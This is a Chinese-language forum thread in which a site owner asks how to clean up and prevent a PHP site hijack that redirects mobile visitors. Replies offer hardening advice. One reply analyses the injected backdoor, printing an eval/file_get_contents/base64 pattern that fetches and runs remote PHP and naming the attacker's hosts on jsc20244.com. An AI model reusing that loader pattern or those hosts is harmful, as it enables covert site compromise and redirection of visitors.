V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
black9
V2EX  ›  PHP

网站遭劫持了,被注入恶意代码,请教各位大佬如何清除并再次预防?

  •  1
     
  •   black9 · 115 天前 · 4858 次点击
    这是一个创建于 115 天前的主题,其中的信息可能已经有所发展或是发生改变。

    前两天用户反馈移动端网页访问不正常,一查看发现,特定的路由会触发跳转到黄色广告地址。 如: 网址:https://www.网址.com/edu 在 pc 端正常访问,但在移动端就会被跳转到其他网站上。 如修改路由为/edu123也会跳转,修改为/ed则不会。初步判断关键字为edu

    进行排查:

    1. dns污染
      网站都是使用了https,排除
    2. nginx
      通过查看日志以及转发记录,发现/edu 被转发到了 php-cgi ,排除
      Imgur
    3. php
      在排查时在看见 v2 中有人遇到类似的问题,于是照着大佬的思路排查,结果发现每个站都被添加了一个 pass.php 文件。 pass.php 根据代码内容搜索,是用Godzilla生成的木马脚本。对网络安全这个块不太懂,有没有大佬知道怎么切底清除这个脚本带来的影响?

    初步处理尝试:

    清除每个站点下的 pass.php 文件,以及相同时间被创建的一些文件。检查 php.ini 文件以及 so 文件是否被修改。没有发现可疑配置后,重启 php 服务再次访问。 结果还是一样会跳转到其他网站。。。

    继续排查:

    查看 php 慢日志时,发现请求网页时有执行file_get_contents函数,于是循着文件路径查看,找到了罪魁祸首,项目composer下的autoload_real.php被植入了一行代码,删除掉后网址恢复正常。 慢日志 植入代码

    疑问请求:

    请问这是利用了 composer 的漏洞吗? composer 的版本是 2.3.7? 然后被植入 pass.php 的文件是不是宝塔的漏洞导致被上传的?因为我看到这些文件都是 www 宝塔用户上传的。

    48 条回复    2024-08-01 15:15:52 +08:00
    pikko
        1
    pikko  
       115 天前
    改密码,或者关闭外网访问后台
    不访问的时候关闭 22 端口
    cctv180
        2
    cctv180  
       115 天前
    我比较菜,装了宝塔自动备份,翻车了直接恢复备份🤣,找人从织梦转到 PbootCMS 然后让搞了几次。后面把管理密码和入口换了就行。
    BeforeTooLate
        3
    BeforeTooLate  
       115 天前
    1.先排查 ssh 是否设置了禁止 root 登录,和只用密钥登录
    2.下载到本地用第三方杀毒软件排查下是否包含一句话木马
    relsoul
        4
    relsoul  
       115 天前
    明显是有漏洞,不解决 0day 很难,如果是用开源的程序 那就更新 version ,如果用的随便买来的源码 那就自求多福做代码审计。建议做 docker 隔离,不至于一个站点 g 了 其他关联网站全 g 了
    GG5332
        5
    GG5332  
       115 天前
    看看是不是这个问题,CVE-2024-4577
    GoldenMan
        6
    GoldenMan  
       115 天前
    上 WAF
    googlefans
        7
    googlefans  
       115 天前
    用虚拟主机
    mark2025
        8
    mark2025  
       115 天前
    看看这个
    t/1056428
    t/1060326
    weirdo
        9
    weirdo  
       115 天前
    直观的看网页跳转的问题是在 composer_real.php 里。
    正常的文件里是没有 第一行 ini_set 和 eval()这两个操作的。
    ini_set 是把报错关了,然后 eval('?>'.file_get_contents(base64_decode('xxxx'))) 这个是在从远程获取 php 代码,根据你图里的 base64 解了下 地址是这个 http://8.jsc20244.com:81/jsc/529kaiwen.txt ,这个 txt 里放着 php 代码,这段代码最后的操作能看到用 curl 访问了另一个地址( http://529.jsc20244.com:81/502.php),这个地址放在浏览器里显示 404 ,在 chrome 里用 f12 伪装成移动端浏览器,就会显示页面,“请使用 手机 设备打开”,可能就是你说的移动端跳转的地址。
    至于这个 composer_real.php 文件怎么被搞的,就不知道了,列两个可能性:
    1. 用户上传的 php 程序中,composer 被植入了 eval()那坨代码。
    2. 你服务器被搞了,然后别人在 composer 里植入了恶意代码,比如通过你说的 pass.php 这样的一句话后门
    coderzhangsan
        10
    coderzhangsan  
       114 天前
    我在 v2 看到很多这样的案例,无一例外都是用宝塔部署的,生产环境建议还是自己部署吧,慎用一些开源的一键部署软件。
    helionzzz
        11
    helionzzz  
       114 天前
    宝塔建议把 BasicAuth 认证开了
    proxytoworld
        12
    proxytoworld  
       114 天前
    哥斯拉后门
    black9
        13
    black9  
    OP
       114 天前
    @pikko 后台的使用频率还是挺高的,不太适合关闭
    black9
        14
    black9  
    OP
       114 天前
    @cctv180 🤣被人留了后门吗
    black9
        15
    black9  
    OP
       114 天前
    @BeforeTooLate 感谢 我试试
    black9
        16
    black9  
    OP
       114 天前
    @relsoul 基本用的都是开源 后面考虑用 docker
    jenson47
        17
    jenson47  
       114 天前
    后台不对外的话,就用隧道或者登录加上 otp
    宝塔严禁对外开放端口,使用隧道访问即可
    black9
        18
    black9  
    OP
       114 天前
    @GG5332 这个好像是 win 上的漏洞,我服务器用的 centos
    black9
        19
    black9  
    OP
       114 天前
    @weirdo 对 就是比较奇怪怎么被注入的到 composer_real 这个文件里的
    black9
        20
    black9  
    OP
       114 天前
    @coderzhangsan 是啊 但是站点太多了 宝塔部署起来还是方便一点🤣
    black9
        21
    black9  
    OP
       114 天前
    @helionzzz 感谢提醒
    black9
        22
    black9  
    OP
       114 天前
    @jenson47 好的 感谢
    jiangaimin
        23
    jiangaimin  
       114 天前
    如果你用的是宝塔,一般不会是服务器的漏洞。我感觉是你的网站程序有漏洞。被人 getshell 了。我根据你截图的 composer 截图,猜测你网站用的是 thinkphp 框架。
    这种情况 第一:要先清马;第二:检查自己网站漏洞,然后修复。第三:如果你服务器上有别的站点,也有可能是从旁站跨站过来的。
    如果单纯的清马,不找到漏洞原因,还会被人搞的。可以根据马的创建时间,或修改时间,查找那个时间段的日志,然后看看访问了哪些你网站的 url ,来检查对方是怎么搞到 shell 的。
    black9
        24
    black9  
    OP
       114 天前
    @jiangaimin 受教了 🙏 用的就是 thinkphp 已经清马了 我尝试一下查找漏洞
    iminto
        25
    iminto  
       114 天前 via Android
    PHP 养活了国内一大堆黑客。。。

    这一眼就是 php 框架漏洞。

    宝塔虽然烂,但也不至于这么脆,找 Linux 的问题更是找错了方向。
    dorothyREN
        26
    dorothyREN  
       114 天前 via iPhone
    你们可能需要的是一个运维
    cctv180
        27
    cctv180  
       114 天前
    @black9 #14 具体我也不清楚,跳转去博彩了,可能是帮忙搬站的人干的,因为我恢复几次都再次被黑。后来我换掉连宝塔后台入口一起换掉就正常了。所以不是 PbootCMS 本身的原因。宝塔后台只给商家帮忙搬站。
    dzdh
        28
    dzdh  
       114 天前   ❤️ 1
    fpm 以非 root 用户运行屏蔽 chmod 、chown 权限。web 目录除必要的目录外其他目录不允许写入。上传目录禁止运行 php 脚本。
    dj721xHiAvbL11n0
        29
    dj721xHiAvbL11n0  
       114 天前
    要不你试试 1panel?
    yulgang
        30
    yulgang  
       114 天前
    一键全站挂马
    网站可能存在上传漏洞。非必要目录只读,文件读写目录去掉执行权限
    hewiefsociety
        31
    hewiefsociety  
       114 天前
    花钱请人..比如我 😄
    ken678
        32
    ken678  
       114 天前
    大概率是框架问题,和 composer 无关
    xdzhang
        33
    xdzhang  
       114 天前
    阿里云有个 waf2.0 ,比较便宜,至少过滤规则啥的比较省心。
    abccccabc
        34
    abccccabc  
       114 天前
    楼主,找到 thinkphp 的漏洞了没?我的站用 thinkphp5.0.24 也被改过文件,把我惹急了,直接把上传的地方取消了。消停了好久,最近,我的 aaPanel 挂了,起不来了。不晓得是不是黑客搞的鬼。还安装了一个 dzx3.4 ,不晓得是不是这个的问题。
    JensenQian
        35
    JensenQian  
       114 天前 via Android
    宝塔啊
    那正常
    hanierming
        36
    hanierming  
       114 天前
    定期升级框架,关注框架的安全修复日志,及时更新
    stew5566
        37
    stew5566  
       114 天前
    @pikko #1 小白求解,如果把 ssh 端口从 22 换成其他端口有用吗
    ladypxy
        38
    ladypxy  
       114 天前
    首先开源代码,要及时更新。

    php 网站,首先要把所有 php 文件权限设置成只读+运行。然后临时目录可以写但是不允许执行。
    同时可以 nginx 里设置 php 白名单,即只有白名单的文件可以运行解析,其余的一概返回 444 。
    lyxxxh2
        39
    lyxxxh2  
       114 天前
    作为一个 6phper,宝塔很正常啊。

    自己部署? 在搞笑吗
    先不说时间成本,就说安全。
    宝塔默认生产环境,eval system 函数都给你禁了,.user.ini 也帮你设置好了。
    人家就是专门做这个的,这么大用户量,他不知道安全是什么?
    对于小白,自己部署会配置吗

    我用了几年宝塔,也没见过被入侵。
    composer 漏洞,要是有这个,早就暴雷了,就像之前 tp 上传漏洞暴雷。
    autoload_real.php 每次请求都会加载,又隐蔽,确实是放马的好位置。

    至于漏洞,估代码的问题,很大可能是上传问题。
    1. 源头验证:校验后缀。 (校验 mine-type 没用,随便绕 后缀现在似乎不行了)
    2. 不给执行: 上传保存路径是 public,别人访问就可以直接执行,或者直接换成云存储。
    当然不排除服务器被攻克的可能。
    BeforeTooLate
        40
    BeforeTooLate  
       114 天前
    @lyxxxh2 作为 6phper 我倒觉得还用宝塔是不正常的
    jeepc
        41
    jeepc  
       114 天前
    @stew5566 #37 当然没用
    lyxxxh2
        42
    lyxxxh2  
       114 天前
    @BeforeTooLate
    ?不理解。
    自己创造工具的话,
    部署网站丶备份数据库丶日志丶 ssl 自动续期。
    如果不用宝塔,我得额外消耗 3-5 天。

    用了宝塔带来的缺陷,无非一点 cpu 和内存。
    怎么看都是利大于弊。
    BeforeTooLate
        43
    BeforeTooLate  
       114 天前
    @lyxxxh2 那你多用用。
    atfeel
        44
    atfeel  
       114 天前 via Android
    一个月之前我也碰到了跟你相同的情况,我现在大概能猜出中招的原因,并不是网站被注入了恶意代码,而是我在服务器上安装一个 youtube 上提供的脚本做测试的时候,那脚本被别人留了后门,劫持篡改了网络,最终实现注入恶意代码在 web 请求上,网警都打给我了,被挂了赌博网站的链接,但是我又没办法查到他是怎么劫持的,也没办法解决,最后还是重装服务器,就一点问题都没有了,所以服务器的轻量化是很重要的,用宝塔的一键迁移,基本上解决了
    lixuda
        45
    lixuda  
       114 天前
    用过多个 php ,知名的非知名的程序,没有不被黑的。最大问题就是上传执行 php 文件。换了其他语言,清净了
    dyllen
        46
    dyllen  
       113 天前
    除了一些缓存目录把写入权限全关了,核心目录权限改了不要给 www 的运行用户和组。
    dimwoodxi27
        47
    dimwoodxi27  
       112 天前
    盲猜网上买的 xx 源码,用了一段时间正常然后被传马,而很多人却在说是宝塔的问题或 TP 的问题,就论 TP 的一些漏洞也没有这么轻易能传马吧?用的 xx 源码里面的上传接口没做处理和过滤怪罪到框架真是抽象,我自己用 tp5.1 写的网站对外使用都 4 年多了,平均 IP1W 左右,从没发现被传马什么的,对外也没什么上传文件的接口!提交的内容也会做一些 xss 处理,本身框架的 orm 也会对 SQL 注入的简单过滤
    sead
        48
    sead  
       112 天前
    黑客最喜欢 php ,asp 没有之三
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   4706 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 09:52 · PVG 17:52 · LAX 01:52 · JFK 04:52
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.